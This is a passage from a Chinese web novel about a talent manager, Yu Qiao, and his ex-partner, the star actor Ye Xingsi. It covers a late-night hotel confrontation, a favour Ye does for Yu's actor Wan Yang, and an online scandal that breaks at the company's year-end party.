俞悄:? 俞悄:要不要入戏成这样。 万洋给他回了个比中指的表情,输入了半天才回过来:我背词呢,大晚上的,这剧情细想想还真有点发毛。 万洋:小万真是太入戏了,好演员。 俞悄:好演员实在害怕就过来打地铺吧。 万洋:那不用,逗你玩呢,想吓吓你。 万洋:你不背词还不睡,早点休息。 俞悄回了个表情包,就把手机搁在一旁没再看。 十分钟后,他的房门被敲响了。 “不是,怎么真怕成这样。”俞悄脑袋一大,看看被他盘得乱七八糟的大床,趿拉着拖鞋下去开门,“还真过来打地铺……” 他的话没能说完,在拉开门的瞬间,就噎在了嗓子里。 “谁要过来?” 叶幸司站在房间外,朝他微微挑起眉。 第92章 他应该是赶着过来的,只带了个登机箱,整个人显得风尘仆仆,额发有些凌乱的散落下来,长了,有点儿遮眼,但遮挡不住眉眼间长途飞行后的疲惫。 “你怎么……”俞悄震惊得说不完整话。 “先让我进去。”叶幸司说,“走廊有监控。” 俞悄只好后退一步,让他拎着箱子进来,关门时脑子还很迟疑,停在玄关望着叶幸司往房间里走的背影,心情复杂。 “不是说明天才进组吗?”他重新开口问,“娜诺呢?你怎么知道我住这间?” 叶幸司没回答这连珠炮似的问题,脱掉外套和口罩往沙发上一扔,先去桌前开了瓶水,一口气灌掉半瓶。 “想见你,就提前过来了。”叶幸司转脸看向俞悄,“打听你的房间还不简单。” 这剧组,房号给出去连问都没问自己一声。 俞悄眉毛皱成个蝴蝶结。 “娜诺知道吗?”他坚持问。 艺人不配合形成那还得了,万一是没告诉助理自己来的,娜诺能急晕过去。 “知道。”叶幸司放下瓶子走过来,“她赶明天原定的航班过来。” 他主动解释了自己是怎么跟剧组沟通,怎么来的酒店,说的话和做的事一样简单直白:要和俞悄聊事情,让生活导演直接把他送到酒店楼下,就自己上来了。 俞悄轻轻松口气的同时一阵头大,想让叶幸司把证件拿来,去给他开个房间,结果一看向叶幸司,目光先被他嘴角的火气给吸引了。 “上火了?”他转身弯腰,去行李柜里拎箱子,“我这有西瓜霜。” 叶幸司胳膊一捞,拽住俞悄的胳膊把他转回来,结结实实的把人搂进怀里。 “别动。”他圈紧想挣脱的俞悄,紧到俞悄胳膊都有点儿疼,“让我抱一下。” 温热的呼吸喷洒在脖颈,叶幸司把额头直接埋到了他肩窝里,俞悄僵在原地,双手在身侧一点点攥紧。 “最近有点儿累。” 叶幸司说话时胸腔的震动,随着这个紧密的拥抱传导过来。 “很想见你。” 俞悄在心里数了五秒,再次抬手,把叶幸司推开。 这次叶幸司没有继续坚持,很配合的松开手,可也没有要拉开距离的意思,还住胳膊往墙上一靠,微微歪着头,面对面的盯着俞悄看。 玄关本来就窄,他腰高腿长的往这一斜,俞悄像个被堵在死胡同的小偷,手也不是脚也不是,侧身想挤过去,又被叶幸司拽回来。 欺负人似的。 “没完了?烦不烦?” 俞悄脑子本来就没转过来,被拽了两轮,突然一股无名火,猛地抬头瞪着叶幸司。 看他这样,叶幸司反倒嘴角一翘,笑了。 “把你身份证给我。”俞悄用力把人一推,去床上拿手机,“给你开个单间,别在我这。” “这么急。”叶幸司倒是没说不同意,只是去沙发上坐下。 “我是累了想见你,所以来调整心情。先陪我聊会儿。” 俞悄想想,没作声,把手机放回桌上,重新去开箱子找西瓜霜。 “那天喊你吃饭为什么不来?”叶幸司歪靠在沙发上,支着下巴问。 “哪天?”俞悄故意假装忘记,回想一番才“啊”了声,“那天有事。” “这么忙。”叶幸司看着他。 俞悄把翻出来的西瓜霜扔他怀里,蹬掉拖鞋回到床上继续敲电脑:“所以别惹我,上班呢。” 叶幸司就真的不说话了。 俞悄噼里啪啦敲了半天电脑,实际上在文档里打了一堆乱码。 他还没缓过来,叶幸司出现得太突然了,一个打乱了工作计划,推开手边所有事,连飞机就带转大巴,在半夜出现在房门外,只因为想他。 这个人还是叶幸司。 俞悄瞪着文档里的天书,心乱如麻。 房间里安静得像是没有第二个人,余光里的叶幸司一直保持着同一个姿势,连动都没动。 睡着了? 俞悄觑着眼睛,隔着笔记本上沿朝沙发上看,直接对上叶幸司望着他的眼睛。 “你到底想干什么?”俞悄“啪”地把电脑盖上,皱着眉问。 “说几遍了,想你。”叶幸司叠起腿,换了个姿势靠着,“喜欢听?” “我跟你说了,我们……” “我们结束了。”叶幸司接过俞悄的话,不紧不慢,“不耽误我想你。” 俞悄看了他半天才说出话:“耽误我上班了。” 耽误的何止是上班,影响的又何止是心情。 “你别看我了。”俞悄重新把笔记本掀开,“想说什么就说,说完赶紧去开房间。” 叶幸司是个话不多的人,最近几次见面,估计是攒了三年多的情绪,主动和俞悄说了不少话。 但现在俞悄让他敞开说,他又变回了曾经的叶幸司,半天也没冒出几句话。 人与人只要能沟通,就能相处。 俞悄一开始确实是想让叶幸司赶快走,两人聊起了这段时间网上那些言论,聊到了叶幸司接连掉口碑的新剧,他的注意力就被转移了。 “你怎么想,”他问叶幸司,“影响你状态吗。” “那我早不用在这个圈子里吃饭了。”叶幸司说,“骂声影响不了我。” “这方面你一直很厉害。”俞悄斟酌措辞,“但我觉得还是可以从中吸取一点教训,别像当时那样两三部剧一起接,拍不过来的,只会影响质量。” “你要做的是演员。”他向叶幸司强调,“好演员。” 这话题在还没闹掰的时候,俞悄提过不止一次。 当时的叶幸司听不进去,或许也听进去了,所以俞悄最后一次和他聊,他沉默了半天,说“不一样了”。 这次叶幸司依然没多说。 但他盯着俞悄看了很长时间,然后笑了下:“嗯。” 得到这么正面的回馈,俞悄一肚子话却梗在了嗓子眼,不好再多嘴。 房间重新静下来,俞悄盯着文档走了会儿神,一看电脑上的时间,竟然到了两点十七。 “你去……” 他要去给叶幸司开房间,一抬头,叶幸司靠在沙发上闭着眼,不知道什么时候睡着了。 “叶幸司?”俞悄来到沙发前,盯着他喊了一声。 叶幸司眼皮都没动一下。 俞悄弯下腰,屏住呼吸凑到他脸前,压着嗓子轻声说:“装什么睡。” 话音刚落,他眼前猛地一花,叶幸司抬手圈住他,又把人拽到了怀里。 第93章 “叶老师脸上咋花一道儿呢。” 化妆师一套着大粉扑,另一只手托着叶幸司的下巴,对着化妆镜左右端详。 一道红痕从他右眼角的位置斜过来,正好穿过鼻梁,鲜艳又夺目。 “被猫抓了。”叶幸司笑笑,竟然不怎么在意。 “能盖上吗?”娜诺在旁边黑着脸,“真是,一眼没看见……” “这猫挺野啊。”化妆师暧昧地“啧”了声,“遮瑕盖一下吧。” 化妆间没关门,俞悄从外面经过,梗着脖子目不斜视,在心里恨恨地骂一声:该。 人就是不能给太多好脸,叶幸司这种人尤其是。 昨天俞悄那句“装什么睡”其实也并不笃定,就是诈一下,结果叶幸司突然的动作把他吓一跳,整个人毫无防备地被圈住,叶幸司还就势翻个身,直接把他压在沙发上。 俞悄脑仁儿一阵天旋地转,紧跟着就是怒火中烧。 他像过年的猪似的,连手带脚扑腾,让叶幸司起开。 叶幸司不起,借着体型与姿势的优势,把俞悄牢牢锁着,撑在上方俯视他。 “其实你也想我。”他盯着俞悄,“你对我没办法完全狠下心,俞悄。” “你要脸吗?”俞悄都气笑了。 叶幸司垂首,跟他额头相抵,亲了俞悄的嘴。 “和好吧。”叶幸司说。 嘴唇相贴的酥麻感漫延进大脑,俞悄头顶一麻,几乎是条件反射,一个头锤就顶了上去。 伤敌一千自损八百。 叶幸司闷哼一声,终于拉开距离,俞悄自己也撞得头晕眼花,还磕到了鼻梁,激出一汪酸胀的眼泪水。 但他顾不上头疼,手腕直接挥了出去。 原本是拳头,俞悄算着叶幸司能躲开,一点力气都没保留。 可叶幸司没动。 指骨都到脸边了,再想撤力也来不及。俞悄紧急改拳头为巴掌,带风嘴巴实实在在扇在脸上,指甲蹭着叶幸司那张精贵的脸刮过去,当时就感觉拉破了血皮。 “啪!” 在安静的午夜,这一巴掌响得简直骇人。 叶幸司脸都被扇歪了,抬手摸摸鼻梁,扭头还冲俞悄扬扬眉:“挺有劲儿。” “滚!”俞悄快气死了。 巴掌是扇爽了,可真把人脸扇破了他又着急,一口气上不去下不来的,俞悄一脚蹬开叶幸司,黑着脸滚下沙发,赶紧去找药水。 都这样了,消毒的时候叶幸司还不老实。 他似乎越发笃定了俞悄对他无法完全狠下心,也不操心脸上会不会留痕,只盯着俞悄看。 俞悄被盯得心烦意乱,凶狠地瞪起眼:“看什么!” 叶幸司先是被吼得怔了怔,接着又莫名其妙的笑起来,像是觉得俞悄很好玩儿。 “拍戏以外,你是第一个甩我巴掌的人。”他又开始说些有的没的,且前言不搭后语,“我很想你。” 俞悄扔了棉签就往外走,去给叶幸司要房间。 一通折腾,终于把这尊神从房间赶走,时间都后半夜了。 俞悄工作工作没进度,觉也没睡踏实。万洋第二天一大早就开机,他搜了半天如何防止留疤,烦得五脊六兽。 直到天亮闹钟响,他熬了个通宵,叶幸司那道红痕也没消掉,就这么进了《十四夜谈》的剧组。 “小悄哥。”万洋也在化妆,刘海扎上去夹了个夹子,看见俞悄进来,喊他,“叶老师到了?” “啊。”俞悄应一声,“跟导演打个招呼就去化妆了。” “我去跟他打个招呼。”万洋示意化妆师暂停,起身往外走,“你陪我一起。” “你自己去,招呼一声就赶紧回来化妆。”俞悄看眼时间,“我出去一会儿。”。 “去哪?”万洋问。 已经来到叶幸司化妆间门口了,俞悄没细说,摆摆手示意万洋进去,自己离开了景棚。 他去药店给叶幸司买了些去疤膏。 之所以是“些”而不是“支”,是因为俞悄搜了好几个牌子,大牌杂牌都有,都是据说确实很有效果。 他不知道哪些是真口碑,哪些做了营销,索性让配药师全都拿了,又问人家有没有推荐。 “什么类型的疤痕,多大,想祛陈年疤还是防止留疤?” 药师捡来一柜台的药盒,以为是什么巨大疮疤,还暗示俞悄药膏效果有限,还是得去医院找医生判断。 “猫抓破皮了。”俞悄在自己手背上划出道白痕,“大概这么长?在脸上。” 药师无言地看了他半天,咂咂嘴开始扫码:“付钱吧。” 俞悄拎着一兜药膏回到剧组,今天的第一场已经开拍了。 万洋和叶幸司的争吵戏——万洋做为兄弟二人中尚且心存良知的一方,在连续杀人的过程中有过心理崩溃,他把家里的东西砸了个稀碎,冲叶幸司喊叫着独白了一长段,嘶吼如果不是爸妈,不是为了这个瘫子哥哥,他根本不会走上这一步,不管警察查不查得到,他这辈子已经完了。 但是哭喊完,他又像小孩一样伏在瘫子哥哥的腿上大哭。 叶幸司扮演的哥哥像死人一样平静,只是望着窗外不说话,抬手摸了摸万洋的脑袋。 客串的戏份有限,除了这一段,以及哥哥接受审讯的剧情画面比较重,叶幸司需要露脸的戏份就只几个零碎片段,且都在室内,任务并不复杂。 全剧组今天都围绕着叶幸司赶进度,满屋狼藉的场景是昨晚就做好的。 叶幸司回来正好拍到万洋伏膝痛哭,他找了个角落远远地看。 明明万洋是这一场的主角,叶幸司连表情都没有,只需要做几个动作。可不管俞悄还是全剧组,目光和注意力都不由的集中在叶幸司身上。 还是有成长的。 俞悄比在场的任何人都了解叶幸司。 现在的叶幸司只是坐在那里,就气场十足,眼神与微表情拿捏得十分精准,再也不会出现僵硬和用力过度的情况。 “好卡!两位老师先休息,换个景。” 导演抬手喊停,棚内立马嘈杂起来。 俞悄拎着药膏往休息室走,听到不知道哪个小姑娘小声感慨:“网红和明星的区别哈。” 他脚步顿了顿,没回头找这话源自何方,但脚底换了个方向,朝万洋走过去。 万洋刚才那一段情绪爆发喊破了音,正跟助理要水喝,边谦逊地询问叶幸司刚才自己的表现如何,请他指教。 叶幸司中场休息也忙得很,除了助理和化妆师围上来,导演来寒暄,还有一些工作人员来要合影签名。 不过他现在应对这些场面也如鱼得水,保持着得体又松弛的姿态,边随手签名合影、与和各方交流,边往休息室走。 他不需要停脚,众人自然追随。 周围人稍微松散些之后,他抬眼看了一圈,在见到俞悄走过来时停下了脚。 “小悄哥。” 万洋也看到了,喊他一声,从围着叶幸司的包围圈中走出来。 俞悄给万洋递过咖啡杯,弯腰拍拍他刚才跪地时膝盖沾上的灰,夸赞道:“状态不错,一条就过了。” “昨晚练半宿,就怕卡壳。” 万洋在这个圈里仍是个小孩儿,被夸了就愉快地弯起眼。 他贴到俞悄耳边小声说:“也怕叶老师看我不顺眼,借着拍戏挑我毛病。” 这种事儿确实会有,老演员想在剧组里找新人的茬比喝水都容易,卡戏、不配合、假巴掌变真巴掌……脑子笨一点儿的转不过弯来,挨欺负了还得跟前辈鞠躬说谢谢呢。 俞悄嘴角翘起来:“不会。” “什么不会,”万洋追着问,“我不会拍不好,还是叶老师不会为难我。” “都不会。”俞悄说。 “这么了解呢?”万洋架上俞悄的肩,又投过来一个揶揄的眼神。 “人家没有看你不顺眼,”俞悄轻声道,“别瞎多心。” 万洋掀起杯盖抿咖啡,娜诺喊着俞悄的名字找了过来:“忙吗,叶幸司找你说点事。” “不忙。”俞悄拍了下万洋,示意他去休息,跟着娜诺往休息室走。 单独的休息间,叶幸司在里面背台词补妆换衣服,俞悄推门进去,俩人隔着镜子对视一眼,都没说话。 补完妆,叶幸司让其他人都先出去,俞悄没动。 等到房间里只剩两个人,俞悄才把拎着的药兜搁在桌上:“自己对着说明书抹吧。” “什么。”叶幸司问。 “去疤膏。”俞悄说。 剧本翻页的声音透出淡淡的烦躁,俞悄听出来了,但不关心,药送到了就转身要走。 “你和那小子一直这样吗。”叶幸司开口拦住了他。 “哪样?”俞悄回过头,知道叶幸司指的是万洋。 “像照顾小孩儿一样,都是经纪人了还陪着他进组。”叶幸司拿起药膏看看,“怕我留疤?” “他本来就是小孩。”俞悄说,“我的艺人,我不照顾谁照顾。” 叶幸司放下药膏走到俞悄面前:“怎么不回答第二个问题。” “换谁都一样。”俞悄警惕地后退。 敌进我退,玩上战术了。 叶幸司看着俞悄,露出一点带着无奈的笑。 “别躲我。”他坚持靠近,又贴着俞悄把人堵在墙角,“我吃醋要吃死了。” 第94章 “吃醋”这句话,叶幸司是贴在俞悄耳朵边说的。 真正意义上的贴着,他把俞悄逼得靠在墙上退无可退,垂首用鼻梁蹭过俞悄的颧骨,轻轻闻了闻,嘴唇便随着说话开合,从俞悄的耳畔擦过。 俞悄僵得像截木头,要抬胳膊搡开叶幸司,手腕刚抬起来,就被攥住牢牢地扣在身侧。 “要给我脸上再添一道吗。” 叶幸司的语气里毫无责怪,歪头盯着俞悄,眼神里甚至带着贴近成功的愉快。 说完话,他就捏捏俞悄的手腕,主动向后一步,将空间还给俞悄。 “别总想着跟我搏斗。”他倒反天罡地表示,“什么时候真的欺负过你。” 俞悄今天的表现显得很平静,跟昨晚形成了鲜明的对比——都是男人,这会儿也没被压着不能动,他真卯着劲儿不让叶幸司靠近,叶幸司根本攥不住他,更别提贴着耳朵占便宜。 叶幸司原本还抱着胳膊等待俞悄的反应,和这样平静的俞悄对视一会儿,他眉梢微微挑了起来。 当一个人平静过了头,就显出了格外的漠然与奇异。 “说话。”叶幸司靠坐着沙发背,支起一条腿支撑重心,“琢磨什么呢?” “跟你没什么说的。” 俞悄垂眼,用手背抹抹侧颊耳侧,转身朝外走:“药记得抹。” 可能是他逐渐松动的态度与情绪,也可能是最后那四个字的简单叮嘱,叶幸司的嘴角重新翘起来。 “哦对。”俞悄一只手已经攥上了门把,又回头顿住,面露思考。 “什么?”叶幸司问。 “你如果有空,指导一下万洋的戏。”俞悄说,“他还挺在意你的看法。” 叶幸司刚扬起来的笑意,一点点沉落下去。 作为成熟的职业演员,他将五官的调动运用到极致,那些细微的情绪变动可以完美转换和隐藏。 却瞒不住俞悄。 “你现在不缺资源,有什么合适的机会,能帮他一下就帮一下,怎么说也算你师弟。” 可是俞悄视而不见,还在啰啰嗦嗦地继续。 “小孩儿挺努力的,条件也不错,和你以前一样,只要有合适的机会……” “出去。” 叶幸司打断他的话,干脆利落地转身回到化妆镜前,继续看剧本。 俞悄微微一耸肩:“那你记得抹药。” 他手腕往下压,要拉开门的一瞬间,叶幸司听不出起伏的质问又在后方响起。 “今天不跟我发火,给我买药,就是为了帮他提这些?” “跟万洋没关系。”俞悄认真解释,“是我想到了。” 叶幸司没再说话,他靠在椅子里眼神都没转过来,翻了一页剧本。 门扉开了又关,室外的噪音突然变大又猛地减弱,俞悄出去了。 叶幸司在《十四夜谈》剩下的半天戏,拍得又快又利索。 他没再跟任何人进行任何不必要的寒暄,拿出了与他咖位所对等的姿态与专业水准,临场背词,快速入戏,目中无人又心无旁骛。 收工后,他婉拒了导演的晚餐邀请,马不停蹄地收拾好东西,去赶日程表里的下一项工作安排。 俞悄在片场安静的看着,看万洋拍戏。 等万洋结束今天的拍摄,两人准备一起回酒店时,负责道具整理的工作人员拎着一兜药膏出来问:“是不是叶老师的药落下了,还是谁放在这房间的?” 俞悄回头看着那眼熟的外包装,嘴角轻轻抿了抿,最终什么也没说。 在《十四夜谈》跟组的经历宛如它的名字,短暂又迷幻,突然出现的人和事分不清真假。 等俞悄离开剧组回到家里,回到公司继续正常上班,那个夜晚突然出现的叶幸司,甚至让他有些拿不准是否只是做了个梦。 因为在《十四夜谈》那场不算愉快的分别之后,叶幸司就没再主动联系过他。 先前那些刻薄话说尽也拒绝不掉的鲜花和礼物,也陡然不再出现于俞悄的工作和生活里。 叶幸司变回了那个只在荧幕和相关团队口中出现的名字。 连将要转正的实习生都好奇俞悄为什么收不到花了,万洋也来问,叶老师是不是最近不再找他。 俞悄忙得要死,下半年总是最忙的时候,他将所有来八卦的人打发走,沉迷上班。 这才是对的。 他在心里回答他们,也告诉自己。 本就该如此,只要没有了私交,明明他和叶幸司在同一间公司,也处于截然不同的两个世界。 一切似乎变了,一切又都没有变。 十二月初,小蜡从多伦多组织完一场舞台表演回来,给俞悄带了小礼物,然后要求俞悄请他吃羊肉涮锅子。 两人认识也好几年了,总是天南地北不怎么见面,处得像对笔友,并且每次聊天都没什么营养,可这份意外产生的友情却长势良好,维持得十分稳当。 涮着锅子聊了会儿八卦,小蜡好信儿地打听俞悄和叶幸司的现状。 俞悄跟小蜡在叶幸司的话题上实在是没有秘密,就将《十四夜谈》发生的事都说了。 “你故意的?” 小蜡听完,羊肉都捞慢一拍,被俞悄筷口夺食,又伸着筷子去抢。 “故意什么?”俞悄问。 “故意在那种时候跟叶幸司说让他多照顾万洋?” “心里话。”俞悄抢不过小蜡,气得在桌底踢了他一脚,“而且就那么一说,不想跟他扯有的没的。” “那你怅然若失什么呢?”小蜡邪恶地笑了。 他那一脸“兄弟我都懂”的表情,俞悄这会儿怎么看怎么觉得贱。 “谁怅然若失了?” 俞悄羊肉都不抢了,十分正经地跟小蜡解释。 “我要是想和他继续,他说和好我直接答应不就完了?我是真没功夫跟他闹了,烦人。” 小蜡裹着一嘴的肉,用那种很玩味的表情盯着俞悄,不反驳,只是笑,高深莫测的那种笑。 笑得俞悄一股无名火。 刚要将这股无名火转嫁到抢肉上,桌上手机一亮,纪繁西的电话打了进来。 “万洋近期都什么安排?”纪繁西上来就问。 俞悄跟她简单汇报,反问纪繁西:“有好事儿要安排给我们吗?” “有个角色挺适合万洋。”纪繁西懒得卖关子,传来一份pdf文档,“资料发给你了,给他掂量着吧。” 俞悄一听这个可就认真了,拽出纸巾擦擦手,下载文档。 “什么角色?”他问纪繁西。 “我还没来及细看,叶幸司突然提的,说让万洋准备准备,去试个镜。”纪繁西“啧”了声大的,,“忙死拉倒。” 她说完直接挂了,俞悄出神地望着铜锅冒起的雾气,贴在耳边的手机久久放不下来。 第95章 这一年的年会,公司租了个比以往都豪华的酒店,排面拉得很足,抽奖礼盒在大厅中央堆成一座小山,最高奖项是当年风头很旺的新能源汽车,跨国豪华游、苹果全家桶、市心大厦三日投屏播报……最末的现金礼包也是五打头的四位数。 为了庆祝这一年的艺人都蒸蒸日上,也为了洗刷那些纠纷与黑料,迎接全新气象。 俞悄抽奖的运气一向不太好,如同他看男人的眼光。 前年他抽中了一台手机,去年两手空空,今年还算可以,虽然只抽到红包,但这种重在参与的活动本身就是意外之财,苍蝇腿也是肉。 他心情很好地兑了奖,然后私下里当作压岁钱,提前给了万洋。 “这么好。”万洋很开心。 他拉着俞悄录了段视频,用那种很搞笑的变丑滤镜,对着镜头说“下一年也请小悄哥多多关照啦”。 俞悄对着镜头比耶,在屏幕里看到了大厅门口姗姗来迟的叶幸司。 台上领导在说话,台下的大灯灭了,整个会场并不明亮,人也多,安保和工作人员都在门边,可他总是能在万人群中一眼捕捉到叶幸司。 即便他被随行人员包围遮挡着,还没来及摘掉口罩。 叶幸司作为目前真正的顶流,公司最宝贝的摇钱树,来参加年会的待遇也是最高配置。 他那边进门,就有人跑去台侧通知叶幸司来了,台上的流程都随之调整,司仪耳麦里也传来指挥,直接请叶幸司上去。 “我外套都没来及脱。”叶幸司笑着上台。 他今天穿着很简单,别的艺人都是精心打扮花枝招展,他穿着黑色的大衣与同色系高领内搭,浑身上下只有一枚环扣款的素黑耳饰,以及手腕内侧的手表。 简单得像是工作的路上顺道经过,低调却难掩气质。 叶幸司明显没有准备词稿,他已经不需要在这种内部的场合虚与委蛇了。 随口和领导聊了几句,就放下话筒去了后台。 “我还以为叶老师今年也不能来呢。”万洋在俞悄耳侧轻声说,“感觉他不怎么喜欢这些活动。” 俞悄“嗯”一声。 这一个字回应的是两个问题:他也以为叶幸司不会来,叶幸司确实不喜欢这些场合。 以前是因为太糊,不被重视。 后来因为他只爱拍戏。 今年——尤其是今年下半年,或许是俞悄自作多情,但他隐隐觉得,叶幸司有点避着他的意思,就像前面三年,他躲着叶幸司。 躲避到刚才叶幸司在台上说话,目光从俞悄脸上扫过,也并没有多半秒的停留,像看待台下任何一张面孔一样。 挺好的。 俞悄觉得自己心里没什么涟漪,这正是他想要的结果。 平静地看了两个节目后,他对万洋说要去趟卫生间,起身离开了会场。 肚子里并没有尿,今天忙忙叨叨大半天,没吃什么东西,也不闹肚子。 俞悄是突然觉得年会现场过于嘈杂,吵得他太阳穴嗡嗡的,有些心烦,去卫生间洗了把脸。 水花扑到脸上需要闭眼,眼睛一合,叶幸司从他脸上忽略过去的目光,就自行冒了出来。 俞悄甩甩脑袋睁眼,又重新掬起一捧水。 再睁眼,卫生间的门被推开,叶幸司摘着手腕的表带,很巧合地走了进来。 俞悄看看镜子里满脸水淋淋的自己,以及身后顿住脚,与他隔着镜子对视的叶幸司,肢体反应快过惊愕的脑子,十分礼貌,也十分疏远地微微颔了下首。 然后他收回视线,从墙上抽下两张毛巾纸,尽量自然地擦掉脸上的水。 镜子里的叶幸司是否还在看他,俞悄不知道。 但在他这一系列的忙碌中,叶幸司在他身侧的盥洗池前站定,将手表丢进首饰托盘里,镶钻的表盘与玛瑙盘底撞出又脆又闷的声响。 和俞悄现在的状态一样。 这家酒店的洗手间布置得讲究,兼具了衣帽间的功效,与卫生间有分明的区域隔断。 洗手台在墙壁两侧都有,位置宽阔,这会儿也没有人进来使用。 如果不是有话要说,俞悄不明白叶幸司为什么非要选择他身旁这个位置。 他擦手的动作下意识放慢了,但谁都没有先开口。 叶幸司湿了手用手背接洗手液,动作也慢慢悠悠,认真搓洗着双手,像是非常讲卫生的一位人士。 等了几秒,俞悄将快要擦烂的毛巾纸扔进纸篓。 叶幸司应该是以为他要走,突然用很自然寒暄的语气开口道:“抽中什么了。” “嗯?”俞悄有点儿乱,抬起眼反应了一下。 “年会。”叶幸司也重新和他在镜子里对视。 “啊,抽了个红包。”俞悄说,“好几千呢。” 叶幸司抽动嘴角笑一下,终于微微侧过脸直接看向俞悄,没再盯着镜子看。 俞悄没注意到,他从将红包送给万洋之后,其实一直在想起刚做叶幸司助理那年的春节,叶幸司包给他的压岁红包。 八千八。 当时还许愿以后每年涨个零呢,结果没两年他俩先归零了。 “万洋的事,谢谢你。” 俞悄开口提起让万洋去试镜的事儿,这次是由衷的感谢。 “角色拿到了。” 能拿不到吗。 叶幸司做主演的剧,他觉得合适的演员,能跟纪繁西打招呼,其实已经和导演通好气儿了,喊万洋去试镜就是走个过场,跟指定没有区别。 对剧方来说无伤大雅的男三,对万洋来说,却是实打实的机会。 万洋拿到这机会起初只是单纯的开心,在得知是叶幸司推荐了他之后,很是错愕了一阵子。 “叶老师为什么帮我?”他问俞悄。 “感觉你是可塑之才吧。”俞悄当时正心情复杂,随口回答,“淋过雨的人顺手给你撑把伞。” “那我欠叶老师一个人情。”万洋转过弯来就变回人精,“这么说,叶老师也欠导演一个人情了。” 他都能想到的东西,俞悄在这行摸爬滚打也有日头了,又怎么会想不到。 万洋得到机会,剧方讨了叶幸司的好又赚到一层关系,三方里只有叶幸司是不受益的。 旁人不懂,俞悄却明白,这本没必要给出去的人情之间,多少牵扯着叶幸司对自己的感情。 明明只是他随口的一句话,还带着故意刺激的心理。 俞悄那时候没有直接找叶幸司道谢,他不知道如何开口,叶幸司也没有借着这件事重新联系他。 今天年会,他知道大概能见到叶幸司,原本也没打算有所交流。 这会儿在卫生间偶遇,实在是赶巧,他索性就提了出来,刚才扔纸就是在下定决心。 不过一提到万洋,叶幸司的目光就又收了回去,眼睫毛耷拉着,冲洗手上的泡沫。 “觉得他合适就推荐了。”他对俞悄说,“不用多想。” 俞悄点点头:“那也谢谢。” “刷”一道抽拽的声响,叶幸司也抽下一张毛巾纸,动作有些浮躁,跟他刚才慢动作似的洗手形成鲜明对比。 俞悄知道多余的感谢没有意义,又轻轻一点头,这次是道别的意思:“我先回会场。” “俞悄。”叶幸司喊住了他。 “还有事?”俞悄回过头。 “是真傻还是故意的,”叶幸司盯着他问,“还是你真的,现在脑子里只有那个新人。” 严格意义来说,万洋入行四五年,已经不算新人了。 叶幸司对他的印象似乎扔停留咋过去,对俞悄也同样。 “我什么都没想,”俞悄又用那种平静的眼神望着叶幸司了,“只想做好我的工作。” “你的工作只和他有关,全都要围着他转吗?”叶幸司扔掉擦手纸,“就像你……” 他带着讥讽的话语截然而止,俞悄却明白他差点儿脱口而出的话是想说什么。 就像你曾经对我一样。 “我该回去了。”俞悄轻声重复一遍,转身往外走。 刚走到门口,门却自己开了,娜诺攥着手机慌慌张张的跑进来,高跟鞋踏出了机关枪的架势,险些没刹住车,跟门板一起撞在俞悄身上。 “叶幸司在里面?他说出来洗手。” 她嘴里问着,胳膊已经将俞悄推开,探头发现叶幸司,她尖着嗓子先冒出一句:“你是左槊私生子?!” 俞悄对这对工作伙伴的事本没有兴趣,避开娜诺后见她也没有打招呼的心思,就抬腿往外走。 一只脚已经踏了出去,听见这话,他又猛地转回来。 “私生……你从哪里看的?” 俞悄死死盯着娜诺的脸。 “网上都炸锅了!” 娜诺妖精一样的美甲把手机戳的“啪啪”响,指腹滑了好几下才点亮屏幕,伸直胳膊朝俞悄面前一怼。 映入俞悄眼帘的,是蒋雨池的微博。 @蒋雨池:好吧,既然谈不拢那我对你们也不再报有希望,我摊牌了,省得你们再说我威胁。也不是什么大事,只不过就是如今的顶流叶叉叉,他的前助理鱼悄悄是我前经纪人奢侈品的亲外甥,而叶叉叉是那位知名影帝的私什么子——几个娱乐圈只手遮天的人吃了半边天的资源,搞了一出伪装励志大戏而已。新年快乐啊,你们可以告我造谣,报勾抓我了。 第96章 俞悄第一遍没能完整看完这条微博全文,“私什么子”这四个字太过扎眼,他甚至都没注意到前面还有自己的名字,也顾不上纠正是亲侄子而非私生子,下意识就去看转发量和赞评比。 发布时间十七分钟前,所有数据直逼一百万加,还在持续上涨。 叶幸司戴好手表才施施然走过来,问:“什么?” “蒋雨池这个疯狗。”俞悄咬着牙骂了一句,将娜诺的手机推开,转身快步往外走。 年会还在继续,但公司内部已经和网上一样炸锅了。 所有人都被炸了手猝不及防,自己人先震惊了半天,和娜诺一样瞠目结舌:叶幸司是左槊的私生子? 尤其是营销部和公关部,公关部主管还在自助餐区捡点心吃,听到工作人员来汇报这个消息,手一哆嗦连盘子都扔了。 开开心心的年终庆典,一大帮相关人员锦衣华服,集体赶回公司加班。 俞悄找到纪繁西时,她脸色都铁青了,倒在转椅上哆嗦着手猛灌板蓝根。 “有用吗?” 俞悄指指那混沌的液体,第一次知道板蓝根还有平心静气的功效。 “不然呢,喝百草枯?来你现在给我我直接喝。”纪繁西气炸了,五官凌厉到扭曲,“蒋雨池这个畜牲,真他妈疯了!” “疯”这个评价,不止俞悄和纪繁西这样觉得,连网上那群一向看热闹不嫌事大的吃瓜群众,都觉得蒋雨池有点疯了。 “我去……” “哥们儿这一行待够了?日子不过了?” “私生子???有证据吗?” “这蒋雨池是被威胁了吗?怎么感觉字里行间都疯疯癫癫的,受啥刺激了。” “真转发过两千你不炸了吗。” “谁是谁私生子??” “头部经纪人的外甥和影帝的私生子,牛逼,之前天天喊糊都是搞人设是吧,把网友当日本人演呢。” “年底冲业绩这么卷?” “我求求内娱不要再搞努力人设了,不嫌恶心吗?” “求解码……” “真就全公司的资源喂叶幸司一个人呗,养猪呢?” “所以那些真正靠自己努力的小糊咖算什么,这破圈还有什么是真的。” “?????” “早就想说了,又没演技又没实力硬捧,合着是有爹啊。” “求解码的你来中国有什么目的[疑问][疑问][大橘为重]” …… 热搜前十条全部被蒋雨池这条微博血洗,他凭一己之力送上了年终最后、也是最大的一个瓜。 俞悄一开始的担心,是蒋雨池这个爆料本身对叶幸司的影响,但看了一圈目前的讨论风向,他发现自己想简单了。 ——这已经不是叶幸司个人,或者公司与蒋雨池的矛盾问题了,蒋雨池将问题上升到身份导致的资源切割层面,虽然用词造句都很可笑,但也是最容易激起大众情绪的角度。 确实,如果俞悄不是见证着叶幸司一路走来,仅仅是个圈外人,哪怕他可能不认识叶幸司,但绝不可能不知道左槊。 左槊的私生子,金牌经纪人的亲外甥做助理。 有了这两个条件,他这几年迅速的走红和源源不断的资源,就全被打上了“关系户”的印章。 没人会再相信叶幸司如今的成就,是靠他自己得来的。 那些吃过的苦,受过的冷落,看不到前路的整整七年日月,在这条轻浮的爆料面前,全都成了笑话。 俞悄真没想到蒋雨池所谓的料是这些,更没想到他能憋到今天才放。 那么蠢笨如猪的一个人,唯一一点脑子全使在耍阴招上了。 